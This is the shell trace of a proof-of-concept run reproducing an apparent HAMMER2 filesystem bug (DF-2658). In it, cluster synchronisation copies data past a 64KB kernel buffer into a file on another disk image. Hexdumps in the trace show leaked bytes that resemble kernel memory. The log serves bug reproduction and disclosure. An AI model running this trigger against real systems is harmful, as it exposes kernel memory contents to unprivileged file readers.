DF-2658 / run.log
+ LABEL=tv58
+ vnconfig -u vn0
+ vnconfig -u vn1
+ vnconfig -u vn2
+ timeout 5 umount -f /mnt/h2a
+ timeout 5 umount -f /mnt/h2b
+ timeout 5 umount -f /mnt/h2c
+ mkdir -p /mnt/h2a /mnt/h2b /mnt/h2c
+ dd 'if=/dev/urandom' 'of=/root/poc/df2658/d1.bin' 'bs=4096' 'count=1' 'status=none'
+ dd 'if=/dev/urandom' 'of=/root/poc/df2658/f_ab.bin' 'bs=1024' 'count=1' 'status=none'
+ dd 'if=/dev/urandom' 'of=/root/poc/df2658/d2.bin' 'bs=4096' 'count=1' 'status=none'
+ dd 'if=/dev/urandom' 'of=/root/poc/df2658/f_c.bin' 'bs=65536' 'count=1' 'status=none'
+ dd 'if=/dev/urandom' 'of=/root/poc/df2658/d1_c.bin' 'bs=4096' 'count=1' 'status=none'
+ dd 'if=/dev/urandom' 'of=/root/poc/df2658/d2_c.bin' 'bs=4096' 'count=1' 'status=none'
+ dd 'if=/dev/zero' 'of=/root/poc/df2658/base.img' 'bs=1m' 'count=256' 'status=none'
+ vnconfig -c vn0 /root/poc/df2658/base.img
+ newfs_hammer2 -L tv58 /dev/vn0
Volume /dev/vn0 size 256.00MB
checkvolu header 0 0000000010000000/0000000010000000
---------------------------------------------
version: 2
total-size: 256.00MB (268435456 bytes)
boot-area-size: 8.00MB (8388608 bytes)
aux-area-size: 8.00MB (8388608 bytes)
topo-reserved: 4.00MB (4194304 bytes)
free-size: 236.00MB (247463936 bytes)
vol-fsid: c68810f5-c854-11f1-a2ea-010000000000
sup-clid: c6881178-c854-11f1-a2ea-010000000000
sup-fsid: c68811ed-c854-11f1-a2ea-010000000000
PFS "LOCAL"
clid c689621b-c854-11f1-a2ea-010000000000
fsid c68962aa-c854-11f1-a2ea-010000000000
PFS "tv58"
clid c6896359-c854-11f1-a2ea-010000000000
fsid c68963de-c854-11f1-a2ea-010000000000
+ echo 'NEWFS_RC=0'
NEWFS_RC=0
+ vnconfig -u vn0
+ cp /root/poc/df2658/base.img /root/poc/df2658/A.img
+ vnconfig -c vn0 /root/poc/df2658/A.img
+ mount -t hammer2 /dev/vn0@tv58 /mnt/h2a
+ echo 'MOUNT_A_SOLO_RC=0'
MOUNT_A_SOLO_RC=0
+ dd 'if=/root/poc/df2658/d1.bin' 'of=/mnt/h2a/d1' 'bs=4096' 'count=1' 'status=none'
+ dd 'if=/root/poc/df2658/f_ab.bin' 'of=/mnt/h2a/F' 'bs=1024' 'count=1' 'status=none'
+ dd 'if=/root/poc/df2658/d2.bin' 'of=/mnt/h2a/d2' 'bs=4096' 'count=1' 'status=none'
+ hammer2 stat /mnt/h2a/d1 /mnt/h2a/F /mnt/h2a/d2
PATH ncp data-use inode-use comp check quota
/mnt/h2a/d1 0 0.00B 0 lz4:default xxhash64
/mnt/h2a/F 0 0.00B 0 lz4:default xxhash64
/mnt/h2a/d2 0 0.00B 0 lz4:default xxhash64
+ sync
+ sleep 2
+ umount /mnt/h2a
+ echo 'UMOUNT_A_SOLO_RC=0'
UMOUNT_A_SOLO_RC=0
+ vnconfig -u vn0
+ cp /root/poc/df2658/A.img /root/poc/df2658/B.img
+ md5 /root/poc/df2658/A.img /root/poc/df2658/B.img
MD5 (/root/poc/df2658/A.img) = 3b90daf39c695613dd0a6fbd1a6eda5a
MD5 (/root/poc/df2658/B.img) = 3b90daf39c695613dd0a6fbd1a6eda5a
+ cp /root/poc/df2658/base.img /root/poc/df2658/C.img
+ vnconfig -c vn2 /root/poc/df2658/C.img
+ mount -t hammer2 /dev/vn2@tv58 /mnt/h2c
+ echo 'MOUNT_C_SOLO_RC=0'
MOUNT_C_SOLO_RC=0
+ dd 'if=/root/poc/df2658/d1_c.bin' 'of=/mnt/h2c/d1' 'bs=4096' 'count=1' 'status=none'
+ dd 'if=/dev/urandom' 'of=/mnt/h2c/F' 'bs=1' 'count=1' 'status=none'
+ sync
+ sleep 1
+ dd 'if=/root/poc/df2658/f_c.bin' 'of=/mnt/h2c/F' 'bs=65536' 'count=1' 'status=none'
+ dd 'if=/root/poc/df2658/d2_c.bin' 'of=/mnt/h2c/d2' 'bs=4096' 'count=1' 'status=none'
+ hammer2 stat /mnt/h2c/d1 /mnt/h2c/F /mnt/h2c/d2
PATH ncp data-use inode-use comp check quota
/mnt/h2c/d1 0 4.00KB 0 lz4:default xxhash64
/mnt/h2c/F 0 0.00B 0 lz4:default xxhash64
/mnt/h2c/d2 0 0.00B 0 lz4:default xxhash64
+ ls -l /mnt/h2c/F
-rw-r--r-- 1 root wheel 65536 Oct 15 04:56 /mnt/h2c/F
+ sync
+ sleep 2
+ umount /mnt/h2c
+ echo 'UMOUNT_C_SOLO_RC=0'
UMOUNT_C_SOLO_RC=0
+ vnconfig -u vn2
+ sysctl 'vfs.hammer2.debug=1'
vfs.hammer2.debug: 0 -> 1
+ vnconfig -c vn0 /root/poc/df2658/A.img
+ vnconfig -c vn1 /root/poc/df2658/B.img
+ vnconfig -c vn2 /root/poc/df2658/C.img
+ mount -t hammer2 /dev/vn0@tv58 /mnt/h2a
+ echo 'CLUSTER_M1_RC=0'
CLUSTER_M1_RC=0
+ mount -t hammer2 /dev/vn1@tv58 /mnt/h2b
mount: Device busy
+ echo 'CLUSTER_M2_RC=1'
CLUSTER_M2_RC=1
+ mount -t hammer2 /dev/vn2@tv58 /mnt/h2c
mount: Device busy
+ echo 'CLUSTER_M3_RC=1'
CLUSTER_M3_RC=1
+ i=0
+ [ 0 -lt 300 ]
+ grep -q 'replace rec .* slave 2 3\.0000000000000000'
+ dmesg
dmesg: sysctl kern.msgbuf: Cannot allocate memory
+ sleep 0.3
+ i=1
+ [ 1 -lt 300 ]
+ grep -q 'replace rec .* slave 2 3\.0000000000000000'
+ dmesg
+ date +%s
+ echo 'DATA_REPLACE_SEEN at 1792040194 poll=1'
DATA_REPLACE_SEEN at 1792040194 poll=1
+ break
+ sync
+ sync
+ sleep 1
+ sync
+ echo '--- sync pass lines ---'
--- sync pass lines ---
+ dmesg
+ tail -20
+ grep -E 'replace rec|insert rec|destroy rec'
replace rec 0xfffff8011d920d80 slave 2 1.0000000000000400 mod=0000000000000000
replace rec 0xfffff8011d921080 slave 2 1.0000000000000401 mod=0000000000000000
replace rec 0xfffff8011d921200 slave 2 1.0000000000000402 mod=0000000000000000
replace rec 0xfffff8011d921500 slave 2 4.eeaf0a4ee4e18001 mod=000000000000000b
replace rec 0xfffff8011d921800 slave 2 3.0000000000000000 mod=0000000000000017
replace rec 0xfffff8011d921200 slave 2 1.0000000000000402 mod=0000000000000019
replace rec 0xfffff8011d921980 slave 2 3.0000000000000000 mod=0000000000000013
replace rec 0xfffff8011d921080 slave 2 1.0000000000000401 mod=0000000000000015
replace rec 0xfffff8011d921b00 slave 2 3.0000000000000000 mod=000000000000000f
replace rec 0xfffff8011d920d80 slave 2 1.0000000000000400 mod=0000000000000011
replace rec 0xfffff8011b9a1080 slave 2 1.86cc8a630caf8000 mod=0000000000000019
+ cd /root/poc/df2658
+ echo '=== locate F on B (source geometry) and on C (victim) ==='
=== locate F on B (source geometry) and on C (victim) ===
+ ./scanbin find B.img f_ab.bin 8 8388608 41943040
+ ./scanbin find C.img f_ab.bin 8 8388608 41943040
+ cat find_B_fab.txt find_C_fab.txt
HIT 29364224
HIT 29491200
+ sed -n 's/HIT //p' find_B_fab.txt
+ head -1
+ OFF_B=29364224
+ head -1
+ sed -n 's/HIT //p' find_C_fab.txt
+ OFF_C=29491200
+ echo 'OFF_B=29364224 OFF_C=29491200'
OFF_B=29364224 OFF_C=29491200
+ echo 'OFF_B_in_64K=4096 (in-dio offset of the focus allocation)'
OFF_B_in_64K=4096 (in-dio offset of the focus allocation)
+ echo 'expected read past the 64KB kernel dio buffer end = 4096 bytes'
expected read past the 64KB kernel dio buffer end = 4096 bytes
+ echo '=== alignment sanity on B: d1 before F, d2 after F ==='
=== alignment sanity on B: d1 before F, d2 after F ===
+ ./scanbin find B.img d1.bin 4 8388608 41943040
+ ./scanbin find B.img d2.bin 4 8388608 41943040
+ cat find_B_d1.txt find_B_d2.txt
HIT 29360128
HIT 29365248
+ ./scanbin dump C.img 29491200 65536 F_block_on_C.bin
DUMP 29491200 + 65536 -> F_block_on_C.bin
+ ./scanbin dump B.img 29364224 65536 F_block_on_B.bin
DUMP 29364224 + 65536 -> F_block_on_B.bin
+ ./scanbin dump C.img 29492224 64512 F_tail_on_C.bin
DUMP 29492224 + 64512 -> F_tail_on_C.bin
+ ./scanbin dump B.img 29365248 64512 F_tail_on_B.bin
DUMP 29365248 + 64512 -> F_tail_on_B.bin
+ echo '=== victim block: 64K live F block on C ==='
=== victim block: 64K live F block on C ===
+ ./scanbin stat F_block_on_C.bin 0 65536
REGION off=0 len=65536 nonzero=8518 zero=57018
+ ./scanbin stat F_tail_on_C.bin 0 64512
REGION off=0 len=64512 nonzero=7505 zero=57007
+ echo '=== victim tail vs B media tail at the same relative position ==='
=== victim tail vs B media tail at the same relative position ===
+ echo '(MATCH = read from the focus dio buffer = B media region content;'
(MATCH = read from the focus dio buffer = B media region content;
+ 'echo DIFFER after the 64K-buffer seam = read from kernel memory past the'
/root/poc/df2658/trigger_df2658.sh: echo DIFFER after the 64K-buffer seam = read from kernel memory past the: not found
+ 'echo end of the dio buffer)'
/root/poc/df2658/trigger_df2658.sh: echo end of the dio buffer): not found
+ ./scanbin cmp F_tail_on_C.bin 0 64512 F_tail_on_B.bin
CMP off=0 len=64512 equal_prefix=60416 first_diff=set ndiff=3423
first_diff_at=60416 (region-relative) file_byte=60416
file@diff : 43 16 00 00 84 7f 45 4c 46 02 01 01 00 01 00 40
ref@diff : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+ echo '=== cross-file leak: d1/d2 content inside the victim tail ==='
=== cross-file leak: d1/d2 content inside the victim tail ===
+ echo -n 'd1: '
d1: + head -2
+ ./scanbin find F_tail_on_C.bin d1.bin 2
+ echo -n 'd2: '
d2: + head -2
+ ./scanbin find F_tail_on_C.bin d2.bin 2
HIT 0
+ echo '=== hexdump: victim head (focus content), tail start, tail end ==='
=== hexdump: victim head (focus content), tail start, tail end ===
+ hexdump -C -n 64 F_block_on_C.bin
00000000 87 26 fc f3 55 37 f7 b9 d3 0b 4e 43 5c 52 b1 c9 |.&..U7....NC\R..|
00000010 37 f3 e3 d2 9c fc 71 fa 44 f2 e3 c4 77 38 af d1 |7.....q.D...w8..|
00000020 3d e1 16 8b 96 91 8a 19 2e 75 e7 3e 53 0e 42 59 |=........u.>S.BY|
00000030 1e 59 77 cc 24 49 ae 98 6c 6b de d1 ee ed 6c a0 |.Yw.$I..lk....l.|
00000040
+ echo '... victim tail start (block byte 1024):'
... victim tail start (block byte 1024):
+ hexdump -C -n 48 F_tail_on_C.bin
00000000 69 bf 61 b5 f8 89 4a 65 b5 06 63 32 68 ed d8 4b |i.a...Je..c2h..K|
00000010 b1 a2 7a 0c ea 4d a9 4f 1a 4d 90 c9 5c 2e ce 3c |..z..M.O.M..\..<|
00000020 19 10 7f 43 b5 33 16 fc af 1d 6e 7d 07 c5 d9 77 |...C.3....n}...w|
00000030
+ echo '... victim tail end (last 32B of the 64K block):'
... victim tail end (last 32B of the 64K block):
+ hexdump -C
+ tail -c 32 F_tail_on_C.bin
00000000 20 e6 00 00 24 12 53 70 77 75 69 64 28 00 10 09 | ...$.Spwuid(...|
00000010 11 00 02 c3 12 00 ed 12 43 09 25 73 0a 09 00 53 |........C.%s...S|
00000020
+ echo '=== B media tail at the same relative position (what legitimately lives there) ==='
=== B media tail at the same relative position (what legitimately lives there) ===
+ hexdump -C -n 48 F_tail_on_B.bin
00000000 69 bf 61 b5 f8 89 4a 65 b5 06 63 32 68 ed d8 4b |i.a...Je..c2h..K|
00000010 b1 a2 7a 0c ea 4d a9 4f 1a 4d 90 c9 5c 2e ce 3c |..z..M.O.M..\..<|
00000020 19 10 7f 43 b5 33 16 fc af 1d 6e 7d 07 c5 d9 77 |...C.3....n}...w|
00000030
+ md5 F_block_on_C.bin F_block_on_B.bin f_ab.bin f_c.bin
MD5 (F_block_on_C.bin) = d66313bec1633c98f01dc9f958624074
MD5 (F_block_on_B.bin) = 124166443a53652adf3a8e578c99b295
MD5 (f_ab.bin) = bad576f51f0fddf3b147892a63acbcc1
MD5 (f_c.bin) = dcc38ae37fd4aff40905644ae3666883
+ sync